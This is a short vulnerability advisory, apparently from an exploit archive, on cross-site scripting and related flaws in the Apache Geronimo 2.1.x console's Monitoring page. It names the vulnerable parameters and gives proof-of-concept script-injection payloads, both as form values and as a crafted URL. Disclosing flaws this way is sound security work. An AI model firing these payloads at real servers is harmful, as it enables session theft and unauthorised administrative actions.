Apache Geronimo 2.1.x - '/console/portal/Server/Monitoring' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/34562/info

Apache Geronimo Application Server is prone to multiple remote vulnerabilities:

- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.

Apache Geronimo 2.1 through 2.1.3 are vulnerable.

http://www.example.com/console/portal/Server/Monitoring

Vulnerable parameters: "name", "ip", "username", "description".

Attacker can inject scripts into monitorings.

Example [Monitoring - Create View]:

name = <script>alert('DSecRG XSS')</script>
description = &lt;/textarea&gt;<script>alert("DSecRG XSS")</script>

or

http://www.example.com/console/portal//Server/Monitoring/__ac0x3monitoring0x2monitoring!126896788|0/__pm0x3monitoring0x2monitoring!126896788|0_edit?action=saveA
ddView&name="><script>alert("DSecRG XSS")</script>&description=&lt;/textarea&gt;<script>alert("DSecRG XSS")</script>